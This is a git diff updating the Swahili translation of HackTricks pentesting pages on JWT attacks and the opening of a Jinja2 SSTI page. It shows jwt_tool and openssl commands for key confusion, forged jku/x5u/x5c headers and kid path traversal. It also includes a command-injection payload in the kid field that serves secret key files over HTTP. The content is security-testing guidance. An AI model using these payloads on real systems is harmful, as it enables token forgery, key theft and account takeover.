diff --git a/pentesting-web/hacking-jwt-json-web-tokens.md b/pentesting-web/hacking-jwt-json-web-tokens.md index 1a3c833b0..06d0ec647 100644 --- a/pentesting-web/hacking-jwt-json-web-tokens.md +++ b/pentesting-web/hacking-jwt-json-web-tokens.md @@ -2,50 +2,50 @@
-Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)! +Jifunze kuhusu udukuzi wa AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)! Njia nyingine za kusaidia HackTricks: -* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)! +* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA USAJILI**](https://github.com/sponsors/carlospolop)! * Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com) -* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee -* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github. +* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee +* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-Ikiwa una nia ya **kazi ya kudukua** na kudukua yasiyodukuliwa - **tunakupa kazi!** (_ujuzi wa Kipolishi ulioandikwa na kuzungumzwa vizuri unahitajika_). +Ikiwa una nia ya **kazi ya udukuzi** na kudukua yasiyodukuzika - **tunakupa kazi!** (_inahitajika uwezo wa kuzungumza na kuandika Kipolishi kwa ufasaha_). {% embed url="https://www.stmcyber.com/careers" %} -**Sehemu ya chapisho hili imetokana na chapisho zuri:** [**https://github.com/ticarpi/jwt\_tool/wiki/Attack-Methodology**](https://github.com/ticarpi/jwt\_tool/wiki/Attack-Methodology)\ +**Sehemu ya chapisho hili inategemea chapisho zuri:** [**https://github.com/ticarpi/jwt\_tool/wiki/Attack-Methodology**](https://github.com/ticarpi/jwt\_tool/wiki/Attack-Methodology)\ **Mwandishi wa zana kuu ya pentest JWTs** [**https://github.com/ticarpi/jwt\_tool**](https://github.com/ticarpi/jwt\_tool) ### **Mafanikio ya Haraka** -Chalisha [**jwt\_tool**](https://github.com/ticarpi/jwt\_tool) kwa mode `All Tests!` na subiri mistari ya kijani +Chambua [**jwt\_tool**](https://github.com/ticarpi/jwt\_tool) kwa mode `All Tests!` na subiri mistari ya kijani ```bash python3 jwt_tool.py -M at \ -t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" \ -rh "Authorization: Bearer eyJhbG..." ``` -Ikiwa una bahati, zana itapata kesi ambapo programu ya wavuti haiangalii JWT kwa usahihi: +Ikiwa una bahati, zana itapata kesi ambapo programu ya wavuti inachunguza JWT kimakosa: ![](<../.gitbook/assets/image (435).png>) -Kisha, unaweza kutafuta ombi katika proksi yako au kudump JWT iliyotumiwa kwa ombi hilo kwa kutumia zana ya jwt\_: +Kisha, unaweza kutafuta ombi katika proksi yako au kudump JWT iliyotumiwa kwa ombi hilo kwa kutumia zana ya jwt_: ```bash python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291" ``` -### Kuhariri data bila kubadilisha kitu chochote +### Kuhariri data bila kubadilisha kitu -Unaweza kuhariri data bila kubadilisha saini na kuangalia kama server inathibitisha saini. Jaribu kubadilisha jina lako kuwa "admin" kwa mfano. +Unaweza kuhariri data ukiacha saini kama ilivyo na kuangalia kama server inathibitisha saini. Jaribu kubadilisha jina lako kuwa "admin" kwa mfano. #### **Je, token inathibitishwa?** -Kuwa na uhakika kama saini ya JWT inathibitishwa: +Ili kuthibitisha ikiwa saini ya JWT inathibitishwa: * Ujumbe wa hitilafu unaashiria uthibitisho unaendelea; maelezo nyeti katika makosa marefu yanapaswa kuchunguzwa. * Mabadiliko kwenye ukurasa uliorejeshwa pia inaashiria uthibitisho. @@ -55,12 +55,12 @@ Kuwa na uhakika kama saini ya JWT inathibitishwa: Ni muhimu kujua ikiwa token uliundwa upande wa server au upande wa mteja kwa kuchunguza historia ya ombi la proksi. -* Vyeti vilivyoonekana kwanza upande wa mteja vinapendekeza kuwa funguo inaweza kuwa imefunuliwa kwa nambari ya upande wa mteja, hivyo kuhitaji uchunguzi zaidi. -* Vyeti vinavyoanzia upande wa server vinathibitisha mchakato salama. +* Vitambulisho vilivyoonekana kwanza upande wa mteja vinapendekeza kwamba ufunguo unaweza kuwa umefichuliwa kwa nambari ya upande wa mteja, hivyo kuhitaji uchunguzi zaidi. +* Vitambulisho vinavyoanzia upande wa server huonyesha mchakato salama. ### Muda -Angalia kama token inadumu zaidi ya masaa 24... labda haitamalizika. Ikiwa kuna uwanja wa "exp", hakikisha kuwa server inashughulikia kwa usahihi. +Angalia ikiwa token inadumu zaidi ya masaa 24... labda haitamalizika. Ikiwa kuna uga wa "exp", hakikisha server inashughulikia ipasavyo. ### Kuvunja nguvu siri ya HMAC @@ -72,14 +72,14 @@ Weka algorithm uliotumika kuwa "None" na ondoa sehemu ya saini. Tumia kifaa cha Burp kinachoitwa "JSON Web Token" kujaribu udhaifu huu na kubadilisha thamani tofauti ndani ya JWT (tuma ombi kwa Repeater na kwenye kichupo cha "JSON Web Token" unaweza kuhariri thamani za token. Unaweza pia kuchagua kuweka thamani ya uga wa "Alg" kuwa "None"). -### Badilisha algorithm kutoka RS256(asymmetric) kwenda HS256(symmetric) (CVE-2016-5431/CVE-2016-10555) +### Badilisha algorithm RS256(asymmetric) kuwa HS256(symmetric) (CVE-2016-5431/CVE-2016-10555) -Algorithm HS256 hutumia funguo ya siri kusaini na kuthibitisha kila ujumbe.\ -Algorithm RS256 hutumia funguo ya faragha kusaini ujumbe na kutumia funguo ya umma kwa uthibitisho. +Algorithm HS256 hutumia ufunguo wa siri kusaini na kuthibitisha kila ujumbe.\ +Algorithm RS256 hutumia ufunguo wa faragha kusaini ujumbe na hutumia ufunguo wa umma kwa uthibitisho. -Ukibadilisha algorithm kutoka RS256 kwenda HS256, msimbo wa nyuma utatumia funguo ya umma kama funguo la siri na kisha kutumia algorithm ya HS256 kuthibitisha saini. +Ukibadilisha algorithm kutoka RS256 kwenda HS256, msimbo wa nyuma utatumia ufunguo wa umma kama ufunguo wa siri na kisha kutumia algorithm ya HS256 kuthibitisha saini. -Kisha, kwa kutumia funguo ya umma na kubadilisha RS256 kuwa HS256 tunaweza kuunda saini halali. Unaweza kupata cheti cha seva ya wavuti inayotekeleza hii: +Kisha, kwa kutumia ufunguo wa umma na kubadilisha RS256 kuwa HS256 tunaweza kuunda saini halali. Unaweza kupata cheti cha seva ya wavuti inayotekeleza hii: ```bash openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem #For this attack you can use the JOSEPH Burp extension. In the Repeater, select the JWS tab and select the Key confusion attack. Load the PEM, Update the request and send it. (This extension allows you to send the "non" algorithm attack also). It is also recommended to use the tool jwt_tool with the option 2 as the previous Burp Extension does not always works well. openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem @@ -88,21 +88,20 @@ openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem Mshambuliaji anaingiza funguo mpya katika kichwa cha token na seva hutumia funguo hii mpya kuthibitisha saini (CVE-2018-0114). -Hii inaweza kufanywa kwa kutumia kifaa cha "JSON Web Tokens" katika Burp.\ -(Tuma ombi kwa Repeater, ndani ya kichupo cha JSON Web Token chagua "CVE-2018-0114" na tuma ombi). +Hii inaweza kufanywa na kifaa cha "JSON Web Tokens" cha Burp. (Tuma ombi kwa Repeater, ndani ya kichupo cha JSON Web Token chagua "CVE-2018-0114" na tuma ombi). ### JWKS Uigaji -Maagizo yanatoa maelezo ya njia ya kutathmini usalama wa JWT tokens, hasa zile zinazotumia dai la kichwa cha "jku". Dai hili linapaswa kuunganisha kwenye faili ya JWKS (JSON Web Key Set) inayohitajika kwa uthibitisho wa token. +Maagizo yanatoa maelezo ya njia ya kutathmini usalama wa JWT tokens, hasa wale wanaotumia dai la kichwa cha "jku". Dai hili linapaswa kuunganisha kwenye faili ya JWKS (JSON Web Key Set) ambayo ina funguo ya umma inayohitajika kwa uthibitisho wa token. * **Kutathmini Tokens na Kichwa cha "jku"**: -* Thibitisha URL ya dai la "jku" ili kuhakikisha inaelekeza kwenye faili sahihi ya JWKS. -* Badilisha thamani ya "jku" ya token ili ielekeze kwenye huduma ya wavuti iliyodhibitiwa, kuruhusu uchunguzi wa trafiki. -* **Kufuatilia Mwingiliano wa HTTP**: -* Kufuatilia maombi ya HTTP kwenye URL uliyopendekeza kunadokeza majaribio ya seva kunasa funguo kutoka kwenye kiungo uliyotoa. -* Wakati wa kutumia `jwt_tool` kwa mchakato huu, ni muhimu kusasisha faili ya `jwtconf.ini` na eneo lako binafsi la JWKS ili kurahisisha majaribio. + * Thibitisha URL ya dai la "jku" ili kuhakikisha inaelekeza kwenye faili sahihi ya JWKS. + * Badilisha thamani ya "jku" ya token kuongoza kuelekea huduma ya wavuti iliyodhibitiwa, kuruhusu uangalizi wa trafiki. +* **Ufuatiliaji wa Mwingiliano wa HTTP**: + * Kufuatilia maombi ya HTTP kwenye URL uliyopendekeza kunadokeza majaribio ya seva kupata funguo kutoka kwenye kiungo uliyotoa. + * Wakati wa kutumia `jwt_tool` kwa mchakato huu, ni muhimu kusasisha faili ya `jwtconf.ini` na eneo lako binafsi la JWKS ili kurahisisha majaribio. * **Amri kwa `jwt_tool`**: -* Tekeleza amri ifuatayo kusimuliza hali na `jwt_tool`: + * Tekeleza amri ifuatayo kusimuliza hali na `jwt_tool`: ```bash python3 jwt_tool.py JWT_HAPA -X s @@ -112,17 +111,17 @@ python3 jwt_tool.py JWT_HAPA -X s Dai la kichwa linaloweza kutumika linalojulikana kama `kid` hutumiwa kutambua funguo maalum, ambayo inakuwa muhimu hasa katika mazingira ambapo kuna funguo kadhaa kwa uthibitisho wa saini ya token. Dai hili husaidia katika kuchagua funguo sahihi kwa kuthibitisha saini ya token. -#### Kufichua Funguo kupitia "kid" +#### Kufunua Funguo kupitia "kid" Wakati dai la `kid` linapoonekana katika kichwa, inashauriwa kutafuta saraka ya wavuti kwa faili inayolingana au mabadiliko yake. Kwa mfano, ikiwa `"kid":"key/12345"` imeelezwa, faili _/key/12345_ na _/key/12345.pem_ inapaswa kutafutwa katika mzizi wa wavuti. #### Kuvuka Njia na "kid" -Dai la `kid` linaweza pia kutumiwa kufaidika kwa kupitia mfumo wa faili, ikiruhusu uteuzi wa faili ya kupendelea. Ni rahisi kufanya majaribio ya uunganishaji au kutekeleza mashambulizi ya Udukuzi wa Ombi la Upande wa Seva (SSRF) kwa kubadilisha thamani ya `kid` kuelekea faili au huduma maalum. Kuharibu JWT kwa kubadilisha thamani ya `kid` wakati unahifadhi saini ya awali inaweza kufikiwa kwa kutumia bendera ya `-T` katika jwt\_tool, kama inavyodhihirishwa hapa chini: +Dai la `kid` linaweza pia kutumiwa kufaidika kwa kupitia mfumo wa faili, ikiruhusu uteuzi wa faili ya kupendelea. Ni rahisi kujaribu uunganisho au kutekeleza mashambulio ya Udukuzi wa Ombi la Upande wa Seva (SSRF) kwa kubadilisha thamani ya `kid` kuelekea faili au huduma maalum. Kuharibu JWT kubadilisha thamani ya `kid` wakati unahifadhi saini ya asili inaweza kufikiwa kwa kutumia bendera ya `-T` katika jwt\_tool, kama inavyodhihirishwa hapa chini: ```bash python3 jwt_tool.py -I -hc kid -hv "../../dev/null" -S hs256 -p "" ``` -Kwa kulenga faili zenye maudhui yanayoweza kutabirika, inawezekana kufanya JWT halali. Kwa mfano, faili ya `/proc/sys/kernel/randomize_va_space` katika mifumo ya Linux, inayojulikana kuwa na thamani **2**, inaweza kutumika katika parameter ya `kid` na **2** kama nenosiri la kisymmetri kwa ajili ya kuzalisha JWT. +Kwa kulenga faili zenye maudhui yanayoweza kutabirika, inawezekana kufanya JWT halali. Kwa mfano, faili ya `/proc/sys/kernel/randomize_va_space` katika mifumo ya Linux, inayojulikana kuwa na thamani **2**, inaweza kutumika katika parameter ya `kid` na **2** kama nenosiri la kisymmetri kwa ajili ya uundaji wa JWT. #### SQL Injection kupitia "kid" @@ -134,7 +133,7 @@ Mabadiliko haya yanalazimisha matumizi ya ufunguo wa siri uliojulikana, `ATTACKE #### OS Injection kupitia "kid" -Hali ambapo parameter ya `kid` inabainisha njia ya faili inayotumiwa ndani ya muktadha wa utekelezaji wa amri inaweza kusababisha vulnerability ya Remote Code Execution (RCE). Kwa kuingiza amri ndani ya parameter ya `kid`, inawezekana kufichua funguo za siri. Mzigo wa mfano wa kufikia RCE na kufichua funguo ni: +Hali ambapo parameter ya `kid` inabainisha njia ya faili inayotumiwa ndani ya muktadha wa utekelezaji wa amri inaweza kusababisha vulnerability ya Remote Code Execution (RCE). Kwa kuingiza amri ndani ya parameter ya `kid`, inawezekana kufichua funguo za siri. Mzigo wa mfano kwa ajili ya kufikia RCE na kufichua funguo ni: `/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&` @@ -143,7 +142,7 @@ Hali ambapo parameter ya `kid` inabainisha njia ya faili inayotumiwa ndani ya mu #### jku jku inasimama kwa **JWK Set URL**.\ -Ikiwa token inatumia dai la “**jku**” kwenye **Header** basi **angalia URL iliyotolewa**. Hii inapaswa kuashiria kwenye URL inayohifadhi faili ya JWKS inayoshikilia Funguo ya Umma kwa ajili ya kuthibitisha token. Badilisha token ili kuelekeza thamani ya jku kwenye huduma ya wavuti unayoweza kufuatilia trafiki yake. +Ikiwa token hutumia dai la “**jku**” katika **Header** basi **angalia URL iliyotolewa**. Hii inapaswa kuashiria kwenye URL inayojumuisha faili ya JWKS inayoshikilia Funguo ya Umma kwa ajili ya kuthibitisha token. Badilisha token ili kuashiria thamani ya jku kwenye huduma ya wavuti unayoweza kufuatilia trafiki yake. Kwanza unahitaji kuunda cheti kipya na funguo mpya za faragha na za umma. ```bash @@ -151,7 +150,7 @@ openssl genrsa -out keypair.pem 2048 openssl rsa -in keypair.pem -pubout -out publickey.crt openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key ``` -Kisha unaweza kutumia kwa mfano [**jwt.io**](https://jwt.io) kuunda JWT mpya na **funguo za umma na binafsi zilizoundwa na kuelekeza parameter jku kwa cheti kilichoundwa.** Ili kuunda cheti cha jku halali unaweza kupakua kimoja cha asili na kubadilisha parameta zinazohitajika. +Kisha unaweza kutumia kwa mfano [**jwt.io**](https://jwt.io) kuunda JWT mpya na **funguo za umma na binafsi zilizoundwa na kuelekeza parameter jku kwa cheti kilichoundwa.** Ili kuunda cheti sahihi cha jku unaweza kupakua kimoja cha asili na kubadilisha parameta zinazohitajika. Unaweza kupata parameta "e" na "n" kutoka kwa cheti cha umma kwa kutumia: ```bash @@ -164,9 +163,9 @@ print("e:", hex(key.e)) ``` #### x5u -X.509 URL. URI inayoashiria seti ya vyeti vya umma vya X.509 (muundo wa vyeti wa kiwango) vilivyohifadhiwa kwa mfumo wa PEM. Cheti cha kwanza katika seti lazima kiwe cha kutumika kusaini JWT hii. Vyeti vya baadaye kila kimoja husaini cheti kilichotangulia, hivyo kukamilisha mnyororo wa vyeti. X.509 imedefiniwa katika RFC 52807. Usalama wa usafirishaji unahitajika kuhamisha vyeti. +X.509 URL. URI inayoashiria seti ya vyeti vya umma vya X.509 (muundo wa vyeti wa kiwango) vilivyohifadhiwa kwa fomu ya PEM. Cheti cha kwanza katika seti lazima kiwe cha kutumika kusaini JWT hii. Vyeti vya baadaye kila kimoja husaini cheti kilichotangulia, hivyo kukamilisha mnyororo wa vyeti. X.509 imedefiniwa katika RFC 52807. Usalama wa usafirishaji unahitajika kuhamisha vyeti. -Jaribu **kubadilisha kichwa hiki kuwa URL chini ya udhibiti wako** na angalia ikiwa ombi lolote limepokelewa. Katika kesi hiyo, **unaweza kuharibu JWT**. +Jaribu **kubadilisha kichwa hiki kuwa URL chini ya udhibiti wako** na angalia ikiwa ombi lolote linapokelewa. Katika kesi hiyo, **unaweza kuharibu JWT**. Ili kufanya alama mpya kwa kutumia cheti lililodhibitiwa na wewe, unahitaji kuunda cheti na kuchimba funguo za umma na za kibinafsi: ```bash @@ -177,7 +176,7 @@ Kisha unaweza kutumia kwa mfano [**jwt.io**](https://jwt.io) kuunda JWT mpya na ![](<../.gitbook/assets/image (439).png>) -Unaweza pia kutumia udhaifu huu **kwa SSRFs**. +Unaweza pia kutumia udhaifu huu wote **kwa SSRFs**. #### x5c @@ -185,18 +184,18 @@ Parameter huu unaweza kuwa na **cheti katika base64**: ![](<../.gitbook/assets/image (440).png>) -Ikiwa mshambuliaji **anaunda cheti cha kujisaini** na kuunda token bandia kwa kutumia funguo ya binafsi inayofanana na kubadilisha thamani ya parameter "x5c" na cheti kilichoundwa kwa kutumia funguo ya binafsi na kubadilisha parameta nyingine, yaani n, e na x5t basi kimsingi token bandia itakubaliwa na server. +Ikiwa mshambuliaji **anaunda cheti cha kujisaini** na kuunda token bandia kwa kutumia funguo ya binafsi inayofanana na kubadilisha thamani ya parameter "x5c" na cheti kilichoundwa kwa kutumia funguo ya binafsi na kubadilisha parameta nyingine, yaani n, e na x5t basi kimsingi token bandia itakubaliwa na seva. ```bash openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -outattacker.crt openssl x509 -in attacker.crt -text ``` -### Funguo ya Umma iliyowekwa (CVE-2018-0114) +### Funguo ya Umma Iliyowekwa (CVE-2018-0114) Ikiwa JWT ina funguo ya umma iliyojumuishwa kama katika hali ifuatayo: ![](<../.gitbook/assets/image (438).png>) -Kwa kutumia skripti ifuatayo ya nodejs ni rahisi kuzalisha funguo ya umma kutoka kwa data hiyo: +Kwa kutumia skripti ifuatayo ya nodejs, ni rahisi kuzalisha funguo ya umma kutoka kwa data hiyo: ```bash const NodeRSA = require('node-rsa'); const fs = require('fs'); @@ -206,7 +205,7 @@ const key = new NodeRSA(); var importedKey = key.importKey({n: Buffer.from(n, 'base64'),e: Buffer.from(e, 'base64'),}, 'components-public'); console.log(importedKey.exportKey("public")); ``` -Inawezekana kuzalisha ufunguo mpya wa faragha/wazi, kuweka ufunguo wa umma mpya ndani ya token na kutumia kui kuzalisha saini mpya: +Inawezekana kuzalisha ufunguo mpya wa faragha / wa umma, kuuingiza ufunguo wa umma mpya ndani ya token na kutumia kui kuzalisha saini mpya: ```bash openssl genrsa -out keypair.pem 2048 openssl rsa -in keypair.pem -pubout -out publickey.crt @@ -222,38 +221,42 @@ const publicComponents = key.exportKey('components-public'); console.log('Parameter n: ', publicComponents.n.toString("hex")); console.log('Parameter e: ', publicComponents.e.toString(16)); ``` -Mwishowe, kwa kutumia funguo za umma na binafsi na thamani mpya za "n" na "e" unaweza kutumia [jwt.io](https://jwt.io) kuunda JWT mpya halali na habari yoyote. +### ES256: Kufunua ufunguo wa kibinafsi na nonce sawa + +Ikiwa baadhi ya programu hutumia ES256 na hutumia nonce sawa kuzalisha jwts mbili, ufunguo wa kibinafsi unaweza kurejeshwa. + +Hapa kuna mfano: [ECDSA: Kufunua ufunguo wa kibinafsi, ikiwa nonce sawa hutumiwa (na SECP256k1)](https://asecuritysite.com/encryption/ecd5) ### JTI (JWT ID) -Madai ya JTI (JWT ID) hutoa kitambulisho cha kipekee kwa Token ya JWT. Inaweza kutumika kuzuia token kutumiwa tena.\ -Hata hivyo, fikiria hali ambapo urefu wa juu wa kitambulisho ni 4 (0001-9999). Ombi 0001 na 10001 vitatumia kitambulisho kimoja. Kwa hivyo, ikiwa seva ya nyuma inaongeza kitambulisho kwa kila ombi unaweza kutumia hii kwa **kutuma ombi tena** (ukihitaji kutuma ombi 10000 kati ya kila kutuma ombi la mafanikio). +Madai ya JTI (JWT ID) hutoa kitambulisho cha kipekee kwa Token ya JWT. Inaweza kutumika kuzuia token kutorejeshwa.\ +Hata hivyo, wazie hali ambapo urefu wa ID ni 4 (0001-9999). Ombi 0001 na 10001 vitatumia kitambulisho sawa. Kwa hivyo, ikiwa seva ya nyuma inaongeza ID kwa kila ombi unaweza kutumia hii kwa **kurejelea ombi** (ukihitaji kutuma ombi 10000 kati ya kila kurejelea mafanikio). -### Madai Yaliyosajiliwa ya JWT +### Madai yaliyosajiliwa ya JWT {% embed url="https://www.iana.org/assignments/jwt/jwt.xhtml#claims" %} -### Mashambulizi Mengine +### Mashambulizi mengine **Mashambulizi ya Kurejesha Kati ya Huduma** -Imeonekana kwamba baadhi ya programu za wavuti hutegemea huduma ya JWT iliyoaminika kwa uundaji na usimamizi wa vibali vyao. Kuna visa ambapo kibali, kilichoundwa kwa mteja mmoja na huduma ya JWT, kilikubaliwa na mteja mwingine wa huduma hiyo hiyo ya JWT. Ikiwa utoaji au upya wa JWT kupitia huduma ya mtu wa tatu unazingatiwa, uwezekano wa kujiandikisha kwa akaunti kwenye mteja mwingine wa huduma hiyo kwa kutumia jina la mtumiaji/barua pepe sawa unapaswa kuchunguzwa. Jaribio linapaswa kufanywa kurejesha kibali kilichopatikana katika ombi kwa lengo la kuona ikiwa kitakubaliwa. +Imeonekana kwamba baadhi ya programu za wavuti hutegemea huduma ya JWT iliyoaminika kwa kuzalisha na kusimamia vibali vyao. Kuna visa ambapo kibali, kilichozalishwa kwa mteja mmoja na huduma ya JWT, kilikubaliwa na mteja mwingine wa huduma hiyo hiyo ya JWT. Ikiwa utoaji au upya wa JWT kupitia huduma ya mtu wa tatu unazingatiwa, uwezekano wa kujiandikisha kwa akaunti kwenye mteja mwingine wa huduma hiyo kwa kutumia jina la mtumiaji/barua pepe sawa unapaswa kuchunguzwa. Jaribio linapaswa kufanywa kurejelea kibali kilichopatikana katika ombi kwa lengo la kuona ikiwa kitakubaliwa. -* Shida kuu inaweza kuonyeshwa na kukubaliwa kwa kibali chako, ikiruhusu uigaji wa akaunti yoyote ya mtumiaji. Hata hivyo, inapaswa kuzingatiwa kwamba idhini ya majaribio zaidi inaweza kuhitajika ikiwa kujiandikisha kwenye programu ya mtu wa tatu, kwani hii inaweza kuingia eneo la kisheria lisilo wazi. +* Shida kubwa inaweza kuashiriwa na kukubaliwa kwa kibali chako, ikiruhusu uigaji wa akaunti yoyote ya mtumiaji. Hata hivyo, inapaswa kuzingatiwa kwamba idhini ya majaribio zaidi inaweza kuhitajika ikiwa kujiandikisha kwenye programu ya mtu wa tatu, kwani hii inaweza kuingia eneo la kijivu kisheria. **Uchunguzi wa Muda wa Vibali** -Uchunguzi wa muda wa kibali unafanywa kwa kutumia madai ya "exp" Payload. Kwa kuwa JWT mara nyingi hutumiwa bila habari ya kikao, utunzaji wa makini unahitajika. Katika hali nyingi, kukamata na kurudia JWT ya mtumiaji mwingine kunaweza kuwezesha uigaji wa mtumiaji huyo. RFC ya JWT inapendekeza kupunguza mashambulizi ya kurejesha JWT kwa kutumia madai ya "exp" kuweka muda wa kumalizika kwa kibali. Zaidi ya hayo, utekelezaji wa ukaguzi unaofaa na maombi kuhakikisha usindikaji wa thamani hii na kukataa vibali vilivyomalizika ni muhimu. Ikiwa kibali kina madai ya "exp" na muda wa majaribio unaruhusu, kuhifadhi kibali na kurudia baada ya muda wa kumalizika ni ushauriwa. Yaliyomo ya kibali, ikiwa ni pamoja na uchambuzi wa alama za wakati na ukaguzi wa muda wa kumalizika (alama za wakati katika UTC), yanaweza kusomwa kwa kutumia bendera ya -R ya jwt\_tool. +Uchunguzi wa muda wa kibali unafanywa kwa kutumia madai ya "exp" Payload. Kwa kuwa JWT mara nyingi hutumiwa bila habari ya kikao, kushughulikia kwa uangalifu kunahitajika. Katika hali nyingi, kukamata na kurejelea JWT ya mtumiaji mwingine inaweza kuwezesha uigaji wa mtumiaji huyo. RFC ya JWT inapendekeza kupunguza mashambulizi ya kurejelea ya JWT kwa kutumia madai ya "exp" kuweka muda wa kumalizika kwa kibali. Zaidi ya hayo, utekelezaji wa uchunguzi unaofaa na maombi kuhakikisha usindikaji wa thamani hii na kukataa vibali vilivyomalizika ni muhimu. Ikiwa kibali kina madai ya "exp" na muda wa majaribio unaruhusu, kuhifadhi kibali na kurejelea baada ya muda wa kumalizika kunashauriwa. Yaliyomo ya kibali, ikiwa ni pamoja na kupasua muda na uchunguzi wa kumalizika (muda katika UTC), yanaweza kusomwa kwa kutumia bendera ya -R ya jwt\_tool. * Hatari ya usalama inaweza kuwepo ikiwa programu bado inathibitisha kibali, kwani inaweza kupendekeza kwamba kibali hakitaweza kumalizika. -### Zana +### Vyombo {% embed url="https://github.com/ticarpi/jwt_tool" %} -
+
-Ikiwa una nia ya **kazi ya udukuzi** na kudukua yasiyoweza kudukuliwa - **tunakupa kazi!** (_ujuzi wa Kipolishi ulioandikwa na kuzungumzwa unahitajika_). +Ikiwa una nia katika **kazi ya udukuzi** na kudukua yasiyoweza kudukuliwa - **tunakupa kazi!** (_ujuzi wa Kipolishi wa kuandika na kuzungumza unahitajika_). {% embed url="https://www.stmcyber.com/careers" %} diff --git a/pentesting-web/ssti-server-side-template-injection/jinja2-ssti.md b/pentesting-web/ssti-server-side-template-injection/jinja2-ssti.md index 9f6aa34c1..3c6b4fdc4 100644 --- a/pentesting-web/ssti-server-side-template-injection/jinja2-ssti.md +++ b/pentesting-web/ssti-server-side-template-injection/jinja2-ssti.md @@ -2,7 +2,7 @@
-Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)! +Jifunze kuhusu kuvamia AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)! Njia nyingine za kusaidia HackTricks: @@ -10,7 +10,7 @@ Njia nyingine za kusaidia HackTricks: * Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com) * Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee * **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github. +* **Shiriki mbinu zako za kuvamia kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
@@ -32,9 +32,9 @@ app.run() ``` ## **Misc** -### **Kauli ya Uchunguzi** +### **Taarifa za Kurekebisha Hitilafu** -Ikiwa Kifaa cha Uchunguzi kimeanzishwa, lebo ya `debug` itapatikana kwa kudump muktadha wa sasa pamoja na vichungi na majaribio yanayopatikana. Hii ni muhimu kuona ni nini kinapatikana kutumika kwenye kigezo bila kuweka debugger. +Ikiwa Kifaa cha Kurekebisha Hitilafu kimeanzishwa, lebo ya `debug` itapatikana kwa kudump muktadha wa sasa pamoja na vichungi na majaribio yanayopatikana. Hii ni muhimu kuona ni nini kinapatikana kutumika kwenye kigezo bila kuweka kurekebisha hitilafu. ```python
 
@@ -65,7 +65,7 @@ Kwanza kabisa, katika uingizaji wa Jinja unahitaji **kupata njia ya kutoroka kut
 
 ### Kupata Vitu vya Kitaifa
 
-Kwa mfano, katika nambari `render_template("hello.html", username=username, email=email)` vitu vya jina la mtumiaji na barua pepe **vinatoka kwa mazingira ya python yasiyo na sanduku** na vitapatikana ndani ya **mazingira ya sanduku**.\
+Kwa mfano, katika nambari `render_template("hello.html", username=username, email=email)` vitu username na email **vinatoka kwa mazingira ya python yasiyo na sanduku** na vitapatikana ndani ya **mazingira ya sanduku**.\
 Zaidi ya hayo, kuna vitu vingine ambavyo vitakuwa **vinapatikana daima kutoka kwa mazingira ya sanduku**, hivi ni:
 ```
 []
@@ -77,9 +77,9 @@ request
 ```
 ### Kurejesha \
 
-Kisha, kutoka kwa vitu hivi tunahitaji kufikia darasa: **``** ili kujaribu **kurejesha** **darasa** zilizofafanuliwa. Hii ni kwa sababu kutoka kwa kipengee hiki tunaweza kuita njia ya **`__subclasses__`** na **kufikia darasa zote kutoka kwa mazingira ya python yasiyokuwa na sanduku**.
+Kisha, kutoka kwa vitu hivi tunahitaji kufikia darasa: **``** ili kujaribu **kurejesha** **darasa** zilizofafanuliwa. Hii ni kwa sababu kutoka kwa kipengele hiki tunaweza kuita njia ya **`__subclasses__`** na **kufikia darasa zote kutoka kwa mazingira ya python yasiyokuwa na sanduku**.
 
